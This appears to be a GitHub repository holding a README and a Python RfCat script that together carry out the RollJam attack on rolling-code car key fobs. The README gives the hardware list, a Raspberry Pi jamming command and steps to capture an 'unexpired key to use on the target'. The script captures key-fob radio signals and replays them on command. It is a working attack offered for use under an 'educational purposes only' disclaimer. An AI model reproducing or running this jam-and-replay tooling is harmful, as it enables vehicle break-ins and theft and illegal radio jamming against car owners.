├── README.md └── replay.py /README.md: -------------------------------------------------------------------------------- 1 | # RollJam 2 | 3 | This is a Github repository devoted to delivering to you 4 | the necessary and required tools and hardware to perform [Samy Kamkar](https://github.com/samyk)'s RollJam attack. 5 | 6 | *This is for educational purposes only. 7 | I am in NO WAY liable for any actions executed by means of the contents within this 8 | repository. PLEASE use responsibly.* 9 | 10 | ## Prerequisites: 11 | 12 | ### Hardware: 13 | • Raspberry Pi (3B+ reccomended) 14 | 15 | • YARD Stick One (With ANT500 Telescopic antenna, reccomended) 16 | 17 | • SDR Dongle (Only necessary for finding the frequency of target; Without it, you can do a plate lookup and find the fob frequency online) 18 | ### Software: 19 | 20 | • Install [Raspbian](https://www.raspberrypi.org/downloads/raspbian/) on your Raspberry Pi 21 | 22 | • Install [Rpitx](https://github.com/F5OEO/rpitx) on your Raspberry Pi 23 | 24 | • Install [RfCat](https://github.com/atlas0fd00m/rfcat) on your machine (it should be a portable laptop) 25 | 26 | ## Getting started: 27 | 28 | Make sure you have a wire attatched to the GPIO pin of your Raspberry Pi to act as an antenna. 29 | 30 | "cd" into your Rpitx folder and run: 31 | ``` 32 | sudo ./sendiq -i /dev/stdin -s 96000 -f -t float 33 | ``` 34 | Set your jamming frequency to be slightly higher or lower than the listening frequency. 35 | 36 | Run replay.py (Credit to [AndrewMohawk](https://github.com/AndrewMohawk) and their [RfCatHelpers](https://github.com/AndrewMohawk/RfCatHelpers) repository) to listen for the unexpired key: 37 | ``` 38 | python replay.py -f -n 39 | ``` 40 | Once the key(s) are captured, you may stop jamming. 41 | 42 | You now have an unexpired key to use on the target! 43 | -------------------------------------------------------------------------------- /replay.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys 4 | from rflib import * 5 | from struct import * 6 | import bitstring 7 | import operator 8 | import argparse 9 | import time 10 | import pickle 11 | 12 | parser = argparse.ArgumentParser(description='Dumb application to replay a signal',version="0.1-bricktop") 13 | parser.add_argument('-f', action="store", default="433880000", dest="baseFreq",help='Target frequency to listen for remote (default 433880000)',type=int) 14 | parser.add_argument('-r', action="store", dest="baudRate",default=4800,help='Baudrate, defaults to 4800',type=int) 15 | parser.add_argument('-n', action="store", dest="numSignals",default=3,help='Number of signals to capture before replaying',type=int) 16 | parser.add_argument('-i', action="store", default="24000", dest="chanWidth",help='Width of each channel (lowest being 24000 -- default)',type=int) 17 | parser.add_argument('-o', action="store", default="", dest="outFile",help='output file to save to') 18 | parser.add_argument('-p', action="store", default="100", dest="power",help='Power level for re-transmitting',type=int) 19 | parser.add_argument('-m', action="store", default="-40", dest="minRSSI",help='Minimum RSSI db to accept signal',type=int) 20 | parser.add_argument('-c', action="store", default="60000", dest="chanBW",help='Channel BW for RX',type=int) 21 | parser.add_argument('-k', action="store", dest="waitForKeypress", default=True,help='Wait for keypress before resending') 22 | results = parser.parse_args() 23 | 24 | rawCapture = []; 25 | print "Configuring RfCat" 26 | d = RfCat() 27 | d.setMdmModulation(MOD_ASK_OOK) 28 | d.setFreq(results.baseFreq) 29 | d.setMdmSyncMode(0) 30 | d.setMdmDRate(results.baudRate) 31 | d.setMdmChanBW(results.chanBW) 32 | d.setMdmChanSpc(results.chanWidth) 33 | d.setChannel(0) 34 | d.setPower(results.power) 35 | d.lowball(1) 36 | 37 | print "Searching..." 38 | while True: 39 | try: 40 | y, t = d.RFrecv(1) 41 | sampleString=y.encode('hex') 42 | #print sampleString 43 | strength = (ord(d.getRSSI())) 44 | 45 | #sampleString = re.sub(r'((f)\2{8,})', '',sampleString) 46 | if (re.search(r'((0)\2{15,})', sampleString)): 47 | print "Signal Strength:" + str(strength) 48 | if(strength > results.minRSSI): 49 | rawCapture.append(sampleString) 50 | print "Found " + str(sampleString) 51 | if(len(rawCapture) >= results.numSignals): 52 | break; 53 | except ChipconUsbTimeoutException: 54 | pass 55 | except KeyboardInterrupt: 56 | break 57 | print "Saving phase" 58 | outputCapture = rawCapture 59 | if(results.outFile != ''): 60 | pickle.dump(outputCapture, open(results.outFile,"wb")) 61 | print "Send Phase..." 62 | #print rawCapture 63 | emptykey = '\x00\x00\x00\x00\x00\x00\x00' 64 | d.makePktFLEN(len(emptykey)) 65 | d.RFxmit(emptykey) 66 | while True: 67 | try: 68 | freq = raw_input("Press to resend or type the frequency you wish to send on now:") 69 | if(freq != ''): 70 | d.setFreq(int(freq)) 71 | for i in range(0,len(rawCapture)): 72 | key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes() 73 | if(results.waitForKeypress == True): 74 | raw_input(" Press any key to send " + str(i+1) + " of " + str(len(rawCapture))) 75 | d.makePktFLEN(len(key_packed)) 76 | d.RFxmit(key_packed) 77 | print "Sent " + str(i+1) + " of " + str(len(rawCapture)) 78 | except KeyboardInterrupt: 79 | print "Bye!" 80 | d.setModeIDLE() 81 | sys.exit() 82 | break; 83 | print "exiting." 84 | d.setModeIDLE() 85 | --------------------------------------------------------------------------------